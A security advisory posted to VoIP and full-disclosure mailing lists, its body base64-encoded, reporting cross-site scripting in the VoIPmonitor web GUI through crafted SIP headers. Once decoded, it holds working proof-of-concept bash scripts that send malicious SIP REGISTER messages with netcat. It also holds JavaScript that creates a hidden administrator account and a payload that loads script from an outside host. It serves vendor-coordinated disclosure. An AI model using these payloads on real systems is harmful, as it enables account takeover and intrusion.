ES2021-02: VoIPmonitor WEB GUI vulnerable to Cross-Site Scripting via SIP messages
"Sandro Gauci" <[email protected]> Mon, 15 Mar 2021 13:46:43 +0100
| Newsgroups | gmane.comp.voip.security.voipsa,gmane.comp.security.oss.general,gmane.comp.security.bugtraq,gmane.comp.security.fulldisclosure |
|---|---|
| Message-ID | <[email protected]> |
IyBWb0lQbW9uaXRvciBXRUIgR1VJIHZ1bG5lcmFibGUgdG8gQ3Jvc3MtU2l0ZSBTY3JpcHRpbmcg dmlhIFNJUCBtZXNzYWdlcwoKLSBGaXhlZCB2ZXJzaW9uczogVm9JUG1vbml0b3IgV0VCIEdVSSAy NC41NgotIEVuYWJsZSBTZWN1cml0eSBBZHZpc29yeTogaHR0cHM6Ly9naXRodWIuY29tL0VuYWJs ZVNlY3VyaXR5L2Fkdmlzb3JpZXMvdHJlZS9tYXN0ZXIvRVMyMDIxLTAyLXZvaXBtb25pdG9yLWd1 aS14c3MKLSBWb0lQbW9uaXRvciBTZWN1cml0eSBBZHZpc29yeTogbm9uZSwgY2hhbmdlbG9nIHJl ZmVyZW5jZXMgZml4ZXMgYXQgaHR0cHM6Ly93d3cudm9pcG1vbml0b3Iub3JnL2NoYW5nZWxvZy1n dWk/bWFqb3I9NQotIFRlc3RlZCB2dWxuZXJhYmxlIHZlcnNpb25zOiAyNC41MywgMjQuNTQsIDI0 LjU1Ci0gVGltZWxpbmU6CiAgICAtIFJlcG9ydCBkYXRlOiAyMDIxLTAyLTEwCgktIFRyaWFnZWQ6 IDIwMjEtMDItMTIKCS0gRmlyc3QgZml4ZXMgYXZhaWxhYmxlOiAyMDIxLTAyLTE1CiAgICAtIEZp eGVzIHRvIGFjdHVhbGx5IGFkZHJlc3MgWFNTOiAyMDIxLTAyLTIyCgktIFZvSVBtb25pdG9yIHJl bGVhc2Ugd2l0aCBmaXg6IDIwMjEtMDItMjIKCS0gRW5hYmxlIFNlY3VyaXR5IGFkdmlzb3J5OiAy MDIxLTAzLTE1CgojIyBEZXNjcmlwdGlvbgoKTXVsdGlwbGUgQ3Jvc3MtU2l0ZSBTY3JpcHRpbmcg dnVsbmVyYWJpbGl0aWVzIHdlcmUgb2JzZXJ2ZWQgaW4gdGhlIFZvSVBtb25pdG9yIFdFQiBHVUku IFRoZXNlIHZ1bG5lcmFiaWxpdGllcyBjYW4gYmUgZXhwbG9pdGVkIGJ5IHNlbmRpbmcgU0lQIG1l c3NhZ2VzIHRvd2FyZHMgaG9zdHMgbW9uaXRvcmVkIGJ5IFZvSVBtb25pdG9yLiBEdXJpbmcgb3Vy IHRlc3RzLCB0aGUgZm9sbG93aW5nIGFyZWFzIHdlcmUgYWZmZWN0ZWQ6CgotICJDRFIiIHNlY3Rp b24KICAgIC0gbGlzdGluZyB2aWV3IHZpYSB0aGUgYFVzZXItQWdlbnRgLCBgRnJvbWAgYW5kIGBD YWxsLUlEYCBoZWFkZXJzCiAgICAtIFNoYXJlIENEUgoKLSAiQWN0aXZlIGNhbGxzIiBzZWN0aW9u CiAgICAtIGxpc3RpbmcgdmlldyB2aWEgdGhlIGBVc2VyLUFnZW50YCBhbmQgYEZyb21gIGhlYWRl cnMKCi0gIlNJUCBNRVNTQUdFUyIgc2VjdGlvbgogICAgLSBsaXN0aW5nIHZpZXcgdmlhIHRoZSBg VXNlci1BZ2VudGAgYW5kIGBGcm9tYCBoZWFkZXJzCiAgICAtIGRldGFpbGVkIHJlY29yZCB2aWV3 IHZpYSB0aGUgYFVzZXItQWdlbnRgLCBgQ2FsbC1JRGAgYW5kIGBDb250ZW50LVR5cGVgIGhlYWRl cnMKCi0gIlNJUCBSRUdJU1RFUiIgc2VjdGlvbgogICAgLSBsaXN0aW5nIHZpZXcgdmlhIHRoZSBg VXNlci1BZ2VudGAgaGVhZGVyLCBhbmQgYEF1dGhvcml6YXRpb25gIHVzZXJuYW1lCgotICJTSVAg T3B0LiwgU3Vic2MuLCBOb3RpZnkiIHNlY3Rpb24KICAgIC0gbGlzdGluZyB2aWV3IHZpYSB0aGUg YFVzZXItQWdlbnRgIGhlYWRlcgogICAgLSBkZXRhaWxlZCByZWNvcmQgdmlldyB2aWEgYENhbGwt SURgIGFuZCBjYWxsZXIgbmFtZQoKLSAiTGl2ZSBzbmlmZmVyIiBzZWN0aW9uCiAgICAtIGxpc3Rp bmcgdmlldyB2aWEgdGhlIGBDYWxsLUlEYAoKIyMgSW1wYWN0CgpBYnVzZSBvZiB0aGlzIHZ1bG5l cmFiaWxpdHkgYWxsb3dzIGF0dGFja2VycyB0byBwZXJmb3JtIG9wZXJhdGlvbnMgb24gYmVoYWxm IG9mIFZvSVBtb25pdG9yIFdFQiBHVUkgdXNlcnMsIGhpamFjayBzZXNzaW9ucyBvciBjcmVhdGUg YXJiaXRyYXJ5IGFkbWluaXN0cmF0aXZlIGFjY291bnRzIGluIHRoZSBXRUIgR1VJLgoKRHVlIHRv IHRoZSBuYXR1cmUgb2YgdGhlIGNyb3NzLXNpdGUgc2NyaXB0aW5nIHZ1bG5lcmFiaWxpdHksIHRo ZSBhdHRhY2tlciBkb2VzIG5vdCBuZWVkIGF1dGhlbnRpY2F0aW9uIHRvIGV4cGxvaXQgdGhpcyB2 dWxuZXJhYmlsaXR5LiBIb3dldmVyLCB0byB0cmlnZ2VyIHRoZSBpbmplY3RlZCBtYWxpY2lvdXMg SmF2YVNjcmlwdCwgYW4gYWRtaW5pc3RyYXRvciBoYXMgdG8gdmlzaXQgdG8gb25lIG9mIHRoZSBH VUkgc2NyZWVuczogIkNEUiIsICJTSVAgTUVTU0FHRVMiLCAiU0lQIFJFR0lTVEVSIiBvciAiU0lQ IE9wdC4sIFN1YnNjLiwgTm90aWZ5Ii4KCiMjIEhvdyB0byByZXByb2R1Y2UgdGhlIGlzc3VlCgpJ biB0aGlzIHNlY3Rpb24gd2Ugd2lsbCBkZW1vbnN0cmF0ZSBob3cgdG8gYWJ1c2UgdGhpcyB2dWxu ZXJhYmlsaXR5IHZpYSB0aGUgUkVHSVNURVIgbWVzc2FnZS4KClJ1biB0aGUgZm9sbG93aW5nIGJh c2ggc2NyaXB0LCByZXBsYWNpbmcgdGhlIHRhcmdldCAoYGRlbW8uc2lwdmljaW91cy5wcm9gKSB3 aXRoIHRoZSBob3N0bmFtZS9JUCBvZiBhIG1hY2hpbmUgdGhhdCBpcyBiZWluZyBtb25pdG9yZWQg YnkgVm9JUG1vbml0b3I6CgpgYGBiYXNoCnBheWxvYWQ9IlJFR0lTVEVSIHNpcDpkZW1vLnNpcHZp Y2lvdXMucHJvIFNJUC8yLjBcclxuIgpwYXlsb2FkKz0iVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4 LjEuMTE5OjQ2ODk2O3Jwb3J0O2JyYW5jaD16OWhHNGJLLVhcclxuIgpwYXlsb2FkKz0iTWF4LUZv cndhcmRzOiA3MFxyXG4iCnBheWxvYWQrPSJGcm9tOiA8c2lwOjAwMkBkZW1vLnNpcHZpY2lvdXMu cHJvPjt0YWc9WkIxZlBqZElIQTZSbWFOd1xyXG4iCnBheWxvYWQrPSJUbzogPHNpcDowMDJAZGVt by5zaXB2aWNpb3VzLnBybz5cclxuIgpwYXlsb2FkKz0iQ2FsbC1JRDogQzE1QWZuV0FEYUNTQkg0 T1xyXG4iCnBheWxvYWQrPSJDU2VxOiAxIFJFR0lTVEVSXHJcbiIKcGF5bG9hZCs9IkNvbnRhY3Q6 IDxzaXA6MDAyQDE5Mi4xNjguMS4xMTk6NDg3NjA7dHJhbnNwb3J0PXVkcD5cclxuIgpwYXlsb2Fk Kz0iVXNlci1BZ2VudDogPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPlxyXG4iCnBheWxvYWQr PSJDb250ZW50LVR5cGU6IHRleHQvcGxhaW5cclxuIgpwYXlsb2FkKz0iQ29udGVudC1MZW5ndGg6 IDBcclxuXHJcbiIKZWNobyAtZSAtbiAkcGF5bG9hZCB8IG5jIC11IGRlbW8uc2lwdmljaW91cy5w cm8gNTA2MApgYGAKClRoZW4gYnJvd3NlIHRvIHRoZSAiU0lQIFJFR0lTVEVSXGZhaWxlZCIgc2Vj dGlvbiBhbmQgb2JzZXJ2ZSB0aGF0IGFuIGFsZXJ0IGJveCB3aXRoIHZhbHVlIGAxYCBpcyBzaG93 bi4KClNjcmVlbnNob3QgLSBYU1MgdmlhIGZhaWxlZCBSRUdJU1RFUiBtZXNzYWdlOiBodHRwczov L2dpdGh1Yi5jb20vRW5hYmxlU2VjdXJpdHkvYWR2aXNvcmllcy9yYXcvbWFzdGVyL0VTMjAyMS0w Mi12b2lwbW9uaXRvci1ndWkteHNzL3NjcmVlbnNob3RzL3JlZ2lzdGVyLWZhaWxlZC1hbGVydC5w bmcKClRvIGRlbW9uc3RyYXRlIGEgbW9yZSBjb21wbGV4IGFuZCBkYW5nZXJvdXMgZXhhbXBsZSwg aG9zdCB0aGUgZm9sbG93aW5nIEphdmFTY3JpcHQgZmlsZSBvbiBhIHB1YmxpYyBmYWNpbmcgd2Vi IHNlcnZlciBhbmQgbmFtZSBpdCBgdm9pcG0teHNzLmpzYC4KCmBgYGphdmFzY3JpcHQKdmFyIHVz ZXJuYW1lPSdoM3gwcic7CnZhciBwYXNzd29yZD0naDN4MHItbDMzdC1wYXNzd2QnOwoKJC5wb3N0 KCdwaHAvbW9kZWwvc3FsLnBocCcsIHsKICAgIHRhc2s6ICdDUkVBVEUnLAogICAgbW9kdWxlOiAn dXNlcl9hZG1pbicsCiAgICB0YXNrUGFyYW1zOiBKU09OLnN0cmluZ2lmeSh7CiAgICAgICAgImtl eUZpZWxkIjogImlkIiwKICAgICAgICAiZGF0YSI6IHsKICAgICAgICAgICJ1c2VybmFtZSI6IHVz ZXJuYW1lLAogICAgICAgICAgIm5hbWUiOiB1c2VybmFtZSwKICAgICAgICAgICJwYXNzd29yZCI6 IHBhc3N3b3JkLAogICAgICAgICAgImRlbGV0ZTJmYV9zZWMiOiAwLAogICAgICAgICAgIm1pc3Np bmdfc2VjIjogIm5vdCBkZWZpbmVkIiwKICAgICAgICAgICJyZXFfMmZhIjogZmFsc2UsCiAgICAg ICAgICAiZW1haWwiOiAiIiwKICAgICAgICAgICJpc19hZG1pbiI6IHRydWUsCiAgICAgICAgfQog ICAgICB9KSwKICAgIHVzZXJuYW1lOiB1c2VybmFtZSAsCiAgICBuYW1lOiB1c2VybmFtZSAsCiAg ICBwYXNzd29yZDogcGFzc3dvcmQgLAogICAgZGVsZXRlMmZhX3NlYzogJzAnICwKICAgIGVtYWls OiAnJyAsCiAgICBpc19hZG1pbjogJ29uJyAsCiAgICBjYW5fYXVkaXQ6ICcwJyAsCiAgICBub3Rl OiAnJyAsCiAgICBibG9ja2VkX3JlYXNvbjogJycgLAogICAgbWF4X2JhZF9sb2dpbl9hdHRlbXB0 OiAnJyAsCiAgICBwYXNzd29yZF9leHBpcmF0aW9uX2RheXM6ICcnICwKICAgIGVuYWJsZV9sb2dp bl9pcDogJycgLAogICAgaXA6ICcnICwKICAgIG51bWJlcjogJycgLAogICAgZG9tYWluOiAnJyAs CiAgICB2bGFuOiAnJ30KKTsKYGBgCgpUaGVuIHJ1biB0aGUgZm9sbG93aW5nIGJhc2ggc2NyaXB0 IGJ5IHJlcGxhY2luZyB0aGUgc2NyaXB0IFVSTCB0byB0aGUgaG9zdGVkIEphdmFTY3JpcHQgZmls ZToKCmBgYGJhc2gKSlNVUkw9Ii8vaDN4LmZ1bi92b2lwbW9uaXRvci94c3MuanMiCgpwYXlsb2Fk PSdSRUdJU1RFUiBzaXA6ZGVtby5zaXB2aWNpb3VzLnBybyBTSVAvMi4wXHJcbicKcGF5bG9hZCs9 J1ZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjExOTo0Njg5NjtycG9ydDticmFuY2g9ejloRzRi Sy1YXHJcbicKcGF5bG9hZCs9J01heC1Gb3J3YXJkczogNzBcclxuJwpwYXlsb2FkKz0nRnJvbTog PHNpcDowMDJAZGVtby5zaXB2aWNpb3VzLnBybz47dGFnPVpCMWZQamRJSEE2Um1hTndcclxuJwpw YXlsb2FkKz0nVG86IDxzaXA6MDAyQGRlbW8uc2lwdmljaW91cy5wcm8+XHJcbicKcGF5bG9hZCs9 J0NhbGwtSUQ6IEMxNUFmbldBRGFDU0JINE9cclxuJwpwYXlsb2FkKz0nQ1NlcTogMSBSRUdJU1RF UlxyXG4nCnBheWxvYWQrPSdDb250YWN0OiA8c2lwOjAwMkAxOTIuMTY4LjEuMTE5OjQ4NzYwO3Ry YW5zcG9ydD11ZHA+XHJcbicKcGF5bG9hZCs9J1VzZXItQWdlbnQ6IDxpbWcgc3JjPWEgb25lcnJv cj0iJwpwYXlsb2FkKz0ndmFyIGQ9ZG9jdW1lbnQscz1kLmNyZWF0ZUVsZW1lbnRgc2NyaXB0YDsn CnBheWxvYWQrPSJzLnNyYz0nJEpTVVJMJywiCnBheWxvYWQrPSdkLnF1ZXJ5U2VsZWN0b3JgcGAu YXBwZW5kQ2hpbGQocykiPlxyXG4nCnBheWxvYWQrPSdDb250ZW50LVR5cGU6IHRleHQvcGxhaW5c clxuJwpwYXlsb2FkKz0nQ29udGVudC1MZW5ndGg6IDBcclxuXHJcbicKZWNobyAtZSAtbiAkcGF5 bG9hZCB8IG5jIC11IGRlbW8uc2lwdmljaW91cy5wcm8gNTA2MApgYGAKCkJyb3dzZSB0byB0aGUg IlNJUCBSRUdJU1RFUlxmYWlsZWQiIHNjcmVlbiwgcmVmcmVzaGluZyB0aGUgbGlzdGluZyBpZiBy ZXF1aXJlZCwgYW5kIGJyb3dzZSB0byB0aGUgIlVzZXJzICYgQXVkaXRcVXNlcnMiIHNjcmVlbi4g Tm90aWNlIHRoYXQgYSBuZXcgdXNlciBoYXMgYmVlbiBjcmVhdGVkLgoKU2NyZWVuc2hvdHM6CgpK YXZhU2NyaXB0IGluamVjdGVkIHZpYSBVc2VyLUFnZW50LCB0byBjcmVhdGUgYmFja2Rvb3IgQWRt aW4gYWNjb3VudDogaHR0cHM6Ly9naXRodWIuY29tL0VuYWJsZVNlY3VyaXR5L2Fkdmlzb3JpZXMv cmF3L21hc3Rlci9FUzIwMjEtMDItdm9pcG1vbml0b3ItZ3VpLXhzcy9zY3JlZW5zaG90cy9yZWdp c3Rlci1mYWlsZWQtc2NyaXB0LWluamVjdGlvbi5wbmcKCkFkbWluIGFjY291bnQgY3JlYXRlZCB2 aWEgWFNTOiBodHRwczovL2dpdGh1Yi5jb20vRW5hYmxlU2VjdXJpdHkvYWR2aXNvcmllcy9yYXcv bWFzdGVyL0VTMjAyMS0wMi12b2lwbW9uaXRvci1ndWkteHNzL3NjcmVlbnNob3RzL2FkbWluLWNy ZWF0ZWQtdmlhLXhzcy5wbmcKClNhbWUgZXhlcmNpc2UgY2FuIGJlIGRvbmUgYWdhaW5zdCB0aGUg b3RoZXIgYWZmZWN0ZWQgc2NyZWVucywgaW5jbHVkaW5nIHRoZSBDRFIgcmVjb3JkIGxpc3Rpbmcu CgojIyBTb2x1dGlvbiBhbmQgcmVjb21tZW5kYXRpb25zCgpUbyBhZGRyZXNzIHRoaXMgaXNzdWUs IHdlIHJlY29tbWVuZCB1cGdyYWRpbmcgdG8gdGhlIGxhdGVzdCBmaXhlZCB2ZXJzaW9uIG9mIFZv SVBtb25pdG9yIEdVSS4KCldlIHJlY29tbWVuZGVkIHRoZSBmb2xsb3dpbmcgdG8gdGhlIHZlbmRv cjoKCj4gVmFsdWVzIHRoYXQgYXJlIHVzZXIgY29udHJvbGxlZCBzaG91bGQgYmUgY29ycmVjdGx5 IGVuY29kZWQgYmVmb3JlIGJlaW5nIHJlbmRlcmVkIGluIHRoZSBicm93c2VyLiBBZGRpdGlvbmFs bHksIEpTT04gb3V0cHV0IHNob3VsZCBoYXZlIHRoZSBgQ29udGVudC1UeXBlYCBoZWFkZXIgb2Yg SlNPTiByYXRoZXIgdGhhbiBgdGV4dC9odG1sYC4KCj4gVGhlc2UgdnVsbmVyYWJpbGl0aWVzIHNl ZW0gdG8gZXhpc3QgdGhyb3VnaG91dCB0aGUgd2hvbGUgd2ViIGFwcGxpY2F0aW9uIHNvIHdlIHN1 Z2dlc3QgdGhhdCBhIHRob3JvdWdoIGV4ZXJjaXNlIHNob3VsZCBiZSBjYXJyaWVkIG91dCB0byBp ZGVudGlmeSBhbnkgb3RoZXIgcG90ZW50aWFsIENyb3NzLVNpdGUgc2NyaXB0aW5nIGlzc3VlcyBp biBzZWN0aW9ucyB3aGljaCBoYXZlIG5vdCBiZWVuIGlkZW50aWZpZWQgaW4gb3VyIHJlcG9ydC4K CiMjIEFja25vd2xlZGdlbWVudHMKCkVuYWJsZSBTZWN1cml0eSB3b3VsZCBsaWtlIHRvIHRoYW5r IE1hcnRpbiBWaXQgYW5kIHRoZSBkZXZlbG9wZXJzIGF0IFZvSVBtb25pdG9yIGZvciB0aGUgdmVy eSBxdWljayByZXNwb25zZSBhbmQgZml4aW5nIHRoaXMgc2VjdXJpdHkgaXNzdWUuCgojIyBBYm91 dCBFbmFibGUgU2VjdXJpdHkKCkVuYWJsZSBTZWN1cml0eSBkZXZlbG9wcyBvZmZlbnNpdmUgc2Vj dXJpdHkgdG9vbHMgYW5kIHByb3ZpZGVzIHF1YWxpdHkgcGVuZXRyYXRpb24gdGVzdGluZyB0byBo ZWxwIHByb3RlY3QgeW91ciByZWFsLXRpbWUgY29tbXVuaWNhdGlvbnMgc3lzdGVtcyBhZ2FpbnN0 IGF0dGFjay4KCiMjIERpc2NsYWltZXIKClRoZSBpbmZvcm1hdGlvbiBpbiB0aGUgYWR2aXNvcnkg aXMgYmVsaWV2ZWQgdG8gYmUgYWNjdXJhdGUgYXQgdGhlIHRpbWUgb2YgcHVibGlzaGluZyBiYXNl ZCBvbiBjdXJyZW50bHkgYXZhaWxhYmxlIGluZm9ybWF0aW9uLiBVc2Ugb2YgdGhlIGluZm9ybWF0 aW9uIGNvbnN0aXR1dGVzIGFjY2VwdGFuY2UgZm9yIHVzZSBpbiBhbiBBUyBJUyBjb25kaXRpb24u IFRoZXJlIGFyZSBubyB3YXJyYW50aWVzIHdpdGggcmVnYXJkIHRvIHRoaXMgaW5mb3JtYXRpb24u IE5laXRoZXIgdGhlIGF1dGhvciBub3IgdGhlIHB1Ymxpc2hlciBhY2NlcHRzIGFueSBsaWFiaWxp dHkgZm9yIGFueSBkaXJlY3QsIGluZGlyZWN0LCBvciBjb25zZXF1ZW50aWFsIGxvc3Mgb3IgZGFt YWdlIGFyaXNpbmcgZnJvbSB1c2Ugb2YsIG9yIHJlbGlhbmNlIG9uLCB0aGlzIGluZm9ybWF0aW9u LgoKIyMgRGlzY2xvc3VyZSBwb2xpY3kKClRoaXMgcmVwb3J0IGlzIHN1YmplY3QgdG8gRW5hYmxl IFNlY3VyaXR5J3MgdnVsbmVyYWJpbGl0eSBkaXNjbG9zdXJlIHBvbGljeSB3aGljaCBjYW4gYmUg Zm91bmQgYXQgPGh0dHBzOi8vZ2l0aHViLmNvbS9FbmFibGVTZWN1cml0eS9WdWxuZXJhYmlsaXR5 LURpc2Nsb3N1cmUtUG9saWN5Pi4KCgotLQogCiAgICBTYW5kcm8gR2F1Y2ksIENFTyBhdCBFbmFi bGUgU2VjdXJpdHkgR21iSAoKICAgIFJlZ2lzdGVyIG9mIENvbXBhbmllczogICAgICAgQUcgQ2hh cmxvdHRlbmJ1cmcgSFJCIDE3MzAxNiBCCiAgICBDb21wYW55IEhROiAgICAgICAgICAgICAgICAg ICAgICAgTmV1YnVyZ2VyIFN0cmHDn2UgMTAxIGIsIDk0MDM2IFBhc3NhdSwgR2VybWFueQogICAg UEdQL0VuY3J5cHRlZCBjb21tczogICAgICAgaHR0cHM6Ly9rZXliYXNlLmlvL3NhbmRyb2dhdWNp CiAgICBPdXIgYmxvZzogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGh0dHBzOi8vd3d3 LnJ0Y3NlYy5jb20KICAgIE90aGVyIHBvaW50cyBvZiBjb250YWN0OiAgICAgICBodHRwczovL2Vu YWJsZXNlY3VyaXR5LmNvbS8jY29udGFjdC11cwoKX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX18KVm9pcHNlYyBtYWlsaW5nIGxpc3QKVm9pcHNlY0B2b2lwc2Eu b3JnCmh0dHA6Ly92b2lwc2Eub3JnL21haWxtYW4vbGlzdGluZm8vdm9pcHNlY192b2lwc2Eub3Jn Cg==